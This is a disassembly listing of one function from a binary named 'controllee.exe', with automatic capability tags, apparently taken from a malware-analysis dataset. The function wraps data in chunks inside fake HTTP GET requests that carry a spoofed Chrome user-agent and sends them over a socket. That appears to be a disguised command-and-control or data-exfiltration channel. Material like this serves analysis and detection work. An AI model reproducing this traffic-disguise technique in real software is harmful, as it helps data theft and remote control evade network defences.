Function at 0x402030
Capabilities:
Reference http user-agent string
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x441da1
mov eax, dword fs:[0]
push eax
mov eax, 0x2468
call fcn.00409840
mov eax, dword [0x45901c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x2460], esi
mov eax, dword [ebp + 8]
mov dword [ebp - 0x2470], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x246c], eax
mov dword [ebp - 0x2418], 0
mov dword [ebp - 0x2414], 0xf
mov byte [ebp - 0x2428], 0
mov dword [ebp - 4], 0
mov edi, 0xf
mov dword [ebp - 0x2430], 0
mov dword [ebp - 0x242c], edi
mov byte [ebp - 0x2440], 0
push 0xff4
mov dword [ebp - 0x245c], eax
lea eax, [ebp - 0x1404]
push 0
mov byte [ebp - 4], 1
push eax
mov dword [ebp - 0x2464], 0
call fcn.00420ae0
push 0x1000
lea eax, [ebp - 0x2410]
push 0
push eax
call fcn.00420ae0
push 0x200
lea eax, [ebp - 0x210]
push 0
push eax
call fcn.00420ae0
push 0x200
lea eax, [ebp - 0x410]
push 0
push eax
call fcn.00420ae0
mov eax, dword [ebp - 0x2460]
mov byte [esi + 0x1c], 1
add esi, 4
push dword [eax + 0x18]
lea eax, [ebp - 0x210]
push esi
push str._HTTP_1.1_r_nHost:__s:_d_r_nConnection:_Keep_Alive_r_nAccept:___r_nUser_Agent:_Mozilla___5.0__Windows_NT_6.1__Win64__x64__AppleWebKit___537.36__KHTML__like_Gecko__Chrome___73.0.3683.86_Safari___537.36_r_nAccept_Encoding:_gzip_r_n_r_n
push eax
call fcn.00401690
mov eax, dword [ebp - 0x2460]
add esp, 0x40
push dword [eax + 0x18]
lea eax, [ebp - 0x410]
push esi
push str._HTTP_1.1_r_nHost:__s:_d_r_nConnection:_Keep_Alive_r_nAccept:_text_html_r_nUser_Agent:_Mozilla___5.0__Windows_NT_6.1__Win64__x64__AppleWebKit___537.36__KHTML__like_Gecko__Chrome___73.0.3683.86_Safari___537.36_r_nAccept_Encoding:_gzip_r_n_r_n
push eax
call fcn.00401690
mov eax, dword [ebp - 0x246c]
add esp, 0x10
add eax, 0xfffff800
test eax, eax
jle 0x402401
mov esi, dword [ebp - 0x2470]
mov dword [ebp - 0x2468], esi
nop dword [eax + eax]
cmp dword [ebp - 0x2414], 0x10
lea eax, [ebp - 0x2428]
push 5
cmovae eax, dword [ebp - 0x2428]
lea ecx, [ebp - 0x2428]
mov dword [ebp - 0x2418], 0
push str.GET__
mov byte [eax], 0
call fcn.004027f0
lea ecx, [ebp - 0x210]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4021c0
mov eax, dword [ebp - 0x2418]
lea edi, [ebp - 0x1404]
sub ecx, edx
mov dword [ebp - 0x1410], 0x7ed341fb
add eax, 0xabc
mov dword [ebp - 0x1408], SysReAllocString
add eax, ecx
lea edx, [ebp - 0x1410]
mov dword [ebp - 0x140c], eax
mov ecx, 0x200
rep movsd dword es:[edi], dword [esi]
push 0x80c
lea ecx, [ebp - 0x2458]
call fcn.00402ba0
mov esi, eax
add esp, 4
lea eax, [ebp - 0x2440]
cmp eax, esi
je 0x402286
mov eax, dword [ebp - 0x242c]
cmp eax, 0x10
jb 0x40225e
mov ecx, dword [ebp - 0x2440]
lea edx, [eax + 1]
mov eax, ecx
cmp edx, 0x1000
jb 0x402254
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4026dd
push edx
push ecx
call fcn.00408815
add esp, 8
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x2440], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x2430], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov edx, dword [ebp - 0x2444]
cmp edx, 0x10
jb 0x4022c0
mov ecx, dword [ebp - 0x2458]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4022b6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4026dd
push edx
push ecx
call fcn.00408815
add esp, 8
lea eax, [ebp - 0x410]
push eax
lea edx, [ebp - 0x2440]
lea ecx, [ebp - 0x2458]
call fcn.00402920
add esp, 4
mov byte [ebp - 4], 2
mov ecx, eax
cmp dword [eax + 0x14], 0x10
jb 0x4022e9
mov ecx, dword [eax]
mov edi, dword [eax + 0x10]
mov esi, dword [ebp - 0x2414]
mov eax, esi
mov edx, dword [ebp - 0x2418]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x40232d
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0x2418], eax
lea eax, [ebp - 0x2428]
cmovae eax, dword [ebp - 0x2428]
lea esi, [eax + edx]
push esi
call fcn.004204a0
add esp, 0xc
mov byte [esi + edi], 0
jmp 0x402346
mov byte [ebp - 0x2474], 0
lea ecx, [ebp - 0x2428]
push dword [ebp - 0x2474]
push edi
call fcn.00402a40
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x2444]
cmp edx, 0x10
jb 0x402384
mov ecx, dword [ebp - 0x2458]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40237a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4026dd
push edx
push ecx
call fcn.00408815
add esp, 8
cmp dword [ebp - 0x2414], 0x10
lea eax, [ebp - 0x2428]
mov esi, dword [ebp - 0x2460]
cmovae eax, dword [ebp - 0x2428]
push 0
push dword [ebp - 0x2418]
mov byte [esi + 0x1c], 1
push eax
push dword [esi]
call dword [sym.imp.WS2_32.dll_send]
lea eax, [ebp - 0x2464]
mov ecx, esi
push eax
push 0xfff
lea eax, [ebp - 0x2410]
push eax
call sym.controllee.exe_public:_int___thiscall_MySocket::Recv_char___int__int__
mov eax, dword [ebp - 0x245c]
mov esi, dword [ebp - 0x2468]
sub eax, 0x800
add esi, 0x800
mov dword [ebp - 0x245c], eax
mov dword [ebp - 0x2468], esi
cmp eax, 0x800
jg 0x402180
mov edi, dword [ebp - 0x242c]
cmp dword [ebp - 0x2414], 0x10
lea eax, [ebp - 0x2428]
push 5
cmovae eax, dword [ebp - 0x2428]
lea ecx, [ebp - 0x2428]
mov dword [ebp - 0x2418], 0
push str.GET__
mov byte [eax], 0
call fcn.004027f0
lea esi, [ebp - 0x210]
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x402440
sub esi, ecx
mov dword [ebp - 0x1410], 0x7ed341fb
mov ecx, dword [ebp - 0x245c]
mov eax, 0x55555556
add ecx, 0xe
mov dword [ebp - 0x1408], SysReAllocString
imul ecx
mov eax, dword [ebp - 0x2418]
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
lea eax, [eax + ecx*4]
add eax, esi
mov esi, dword [ebp - 0x245c]
mov dword [ebp - 0x140c], eax
mov eax, dword [ebp - 0x246c]
sub eax, esi
add eax, dword [ebp - 0x2470]
push esi
push eax
lea eax, [ebp - 0x1404]
push eax
call fcn.0041ff20
lea eax, [esi + 0xc]
push eax
lea edx, [ebp - 0x1410]
lea ecx, [ebp - 0x2458]
call fcn.00402ba0
mov esi, eax
add esp, 0x10
lea eax, [ebp - 0x2440]
cmp eax, esi
je 0x402527
cmp edi, 0x10
jb 0x4024ff
mov ecx, dword [ebp - 0x2440]
inc edi
mov eax, ecx
cmp edi, 0x1000
jb 0x4024f5
mov ecx, dword [ecx - 4]
add edi, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4026dd
push edi
push ecx
call fcn.00408815
add esp, 8
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x2440], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x2430], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov edx, dword [ebp - 0x2444]
cmp edx, 0x10
jb 0x402561
mov ecx, dword [ebp - 0x2458]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402557
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4026dd
push edx
push ecx
call fcn.00408815
add esp, 8
lea eax, [ebp - 0x210]
push eax
lea edx, [ebp - 0x2440]
lea ecx, [ebp - 0x2458]
call fcn.00402920
add esp, 4
mov byte [ebp - 4], 3
mov ecx, eax
cmp dword [eax + 0x14], 0x10
jb 0x40258a
mov ecx, dword [eax]
mov edi, dword [eax + 0x10]
mov esi, dword [ebp - 0x2414]
mov eax, esi
mov edx, dword [ebp - 0x2418]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x4025ce
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0x2418], eax
lea eax, [ebp - 0x2428]
cmovae eax, dword [ebp - 0x2428]
lea esi, [eax + edx]
push esi
call fcn.004204a0
add esp, 0xc
mov byte [esi + edi], 0
jmp 0x4025e7
mov byte [ebp - 0x2464], 0
lea ecx, [ebp - 0x2428]
push dword [ebp - 0x2464]
push edi
call fcn.00402a40
mov edx, dword [ebp - 0x2444]
cmp edx, 0x10
jb 0x402621
mov ecx, dword [ebp - 0x2458]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402617
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4026e2
push edx
push ecx
call fcn.00408815
add esp, 8
cmp dword [ebp - 0x2414], 0x10
lea eax, [ebp - 0x2428]
mov ecx, dword [ebp - 0x2460]
cmovae eax, dword [ebp - 0x2428]
push 0
push dword [ebp - 0x2418]
mov byte [ecx + 0x1c], 1
push eax
push dword [ecx]
call dword [sym.imp.WS2_32.dll_send]
mov edx, dword [ebp - 0x242c]
mov esi, eax
cmp edx, 0x10
jb 0x402688
mov ecx, dword [ebp - 0x2440]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40267e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4026e7
push edx
push ecx
call fcn.00408815
add esp, 8
mov edx, dword [ebp - 0x2414]
cmp edx, 0x10
jb 0x4026be
mov ecx, dword [ebp - 0x2428]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4026b4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4026e7
push edx
push ecx
call fcn.00408815
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004087d4
mov esp, ebp
pop ebp
ret 8
call fcn.00429cc7
call fcn.00429cc7
call fcn.00429cc7
int3